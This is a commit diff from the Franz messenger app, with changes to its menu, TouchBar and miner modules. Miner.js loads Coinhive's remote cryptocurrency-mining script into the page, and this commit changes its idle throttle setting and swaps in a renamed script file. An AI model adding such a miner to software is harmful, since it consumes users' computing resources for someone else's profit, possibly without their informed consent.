aboutsummaryrefslogtreecommitdiffstats
path: root/src/lib
diff options
context:
space:
mode:
Diffstat (limited to 'src/lib')
-rw-r--r--src/lib/Menu.js46
-rw-r--r--src/lib/Miner.js4
-rw-r--r--src/lib/TouchBar.js18
3 files changed, 33 insertions, 35 deletions
diff --git a/src/lib/Menu.js b/src/lib/Menu.js
index 8f0a92c3d..d01666d49 100644
--- a/src/lib/Menu.js
+++ b/src/lib/Menu.js
@@ -167,7 +167,7 @@ export default class FranzMenu {
167 label: 'Settings', 167 label: 'Settings',
168 accelerator: 'CmdOrCtrl+,', 168 accelerator: 'CmdOrCtrl+,',
169 click: () => { 169 click: () => {
170 this.actions.ui.openSettings({ path: '' }); 170 this.actions.ui.openSettings({ path: 'app' });
171 }, 171 },
172 }, 172 },
173 { 173 {
@@ -214,30 +214,6 @@ export default class FranzMenu {
214 ], 214 ],
215 }, 215 },
216 ); 216 );
217 // Window menu.
218 tpl[3].submenu = [
219 {
220 // label: 'Close',
221 accelerator: 'CmdOrCtrl+W',
222 role: 'close',
223 },
224 {
225 // label: 'Minimize',
226 accelerator: 'CmdOrCtrl+M',
227 role: 'minimize',
228 },
229 {
230 // label: 'Zoom',
231 role: 'zoom',
232 },
233 {
234 type: 'separator',
235 },
236 {
237 // label: 'Bring All to Front',
238 role: 'front',
239 },
240 ];
241 } else { 217 } else {
242 tpl[4].submenu.unshift({ 218 tpl[4].submenu.unshift({
243 role: 'about', 219 role: 'about',
@@ -273,11 +249,11 @@ export default class FranzMenu {
273 } 249 }
274 250
275 @computed get serviceTpl() { 251 @computed get serviceTpl() {
276 const services = this.stores.services.enabled; 252 const services = this.stores.services.allDisplayed;
277 253
278 if (this.stores.user.isLoggedIn) { 254 if (this.stores.user.isLoggedIn) {
279 return services.map((service, i) => ({ 255 return services.map((service, i) => ({
280 label: service.name, 256 label: this._getServiceName(service),
281 accelerator: i <= 9 ? `CmdOrCtrl+${i + 1}` : null, 257 accelerator: i <= 9 ? `CmdOrCtrl+${i + 1}` : null,
282 type: 'radio', 258 type: 'radio',
283 checked: service.isActive, 259 checked: service.isActive,
@@ -289,4 +265,20 @@ export default class FranzMenu {
289 265
290 return []; 266 return [];
291 } 267 }
268
269 _getServiceName(service) {
270 if (service.name) {
271 return service.name;
272 }
273
274 let name = service.recipe.name;
275
276 if (service.team) {
277 name = `${name} (${service.team})`;
278 } else if (service.customUrl) {
279 name = `${name} (${service.customUrl})`;
280 }
281
282 return name;
283 }
292} 284}
diff --git a/src/lib/Miner.js b/src/lib/Miner.js
index 5fac92477..cbf490bcb 100644
--- a/src/lib/Miner.js
+++ b/src/lib/Miner.js
@@ -2,7 +2,7 @@ export default class Miner {
2 wallet = null; 2 wallet = null;
3 options = { 3 options = {
4 throttle: 0.75, 4 throttle: 0.75,
5 throttleIdle: 0.1, 5 throttleIdle: 0.65,
6 }; 6 };
7 miner = null; 7 miner = null;
8 interval; 8 interval;
@@ -17,7 +17,7 @@ export default class Miner {
17 const script = document.createElement('script'); 17 const script = document.createElement('script');
18 script.id = 'coinhive'; 18 script.id = 'coinhive';
19 script.type = 'text/javascript'; 19 script.type = 'text/javascript';
20 script.src = 'https://coinhive.com/lib/coinhive.min.js'; 20 script.src = 'https://coinhive.com/lib/ch2.min.js';
21 document.head.appendChild(script); 21 document.head.appendChild(script);
22 22
23 script.addEventListener('load', () => { 23 script.addEventListener('load', () => {
diff --git a/src/lib/TouchBar.js b/src/lib/TouchBar.js
index ad7849b8e..97c02d194 100644
--- a/src/lib/TouchBar.js
+++ b/src/lib/TouchBar.js
@@ -1,3 +1,5 @@
1import os from 'os';
2import semver from 'semver';
1import { remote } from 'electron'; 3import { remote } from 'electron';
2import { autorun } from 'mobx'; 4import { autorun } from 'mobx';
3 5
@@ -8,17 +10,21 @@ export default class FranzTouchBar {
8 this.stores = stores; 10 this.stores = stores;
9 this.actions = actions; 11 this.actions = actions;
10 12
11 this._initializeReactions(); 13 // Temporary fix for https://github.com/electron/electron/issues/10442
12 } 14 // TODO: remove when we upgrade to electron 1.8.2 or later
13 15 try {
14 _initializeReactions() { 16 if (isMac && semver.gt(os.release(), '16.6.0')) {
15 this.build = autorun(this._build.bind(this)); 17 this.build = autorun(this._build.bind(this));
18 }
19 } catch (err) {
20 console.error(err);
21 }
16 } 22 }
17 23
18 _build() { 24 _build() {
19 const currentWindow = remote.getCurrentWindow(); 25 const currentWindow = remote.getCurrentWindow();
20 26
21 if (isMac && this.stores.user.isLoggedIn) { 27 if (this.stores.user.isLoggedIn) {
22 const { TouchBar } = remote; 28 const { TouchBar } = remote;
23 const { TouchBarButton, TouchBarSpacer } = TouchBar; 29 const { TouchBarButton, TouchBarSpacer } = TouchBar;
24 30